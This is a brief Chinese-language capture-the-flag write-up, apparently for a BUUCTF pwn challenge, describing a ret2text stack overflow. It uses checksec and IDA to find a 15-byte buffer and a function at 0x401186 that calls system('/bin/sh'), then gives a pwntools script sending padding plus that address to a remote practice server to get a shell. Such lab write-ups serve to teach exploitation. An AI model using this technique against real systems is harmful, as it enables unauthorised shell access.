首先用checksec检查一下
可以知道它是64bit的,并且没有栈溢出保护。我们用ida64打开,找到它的主函数,查看源码,可知s分配了15字节。
接着我们找到fun函数的源码,发现有/bin/sh和system函数,双击找到它的地址
再看fun函数的地址是0x401186
最后我们写一个python脚本,得到flag
from pwn import *
p = remote('node5.buuoj.cn', 26751)
p.sendline(b'a' * 15 + p64(0x401186))
p.interactive()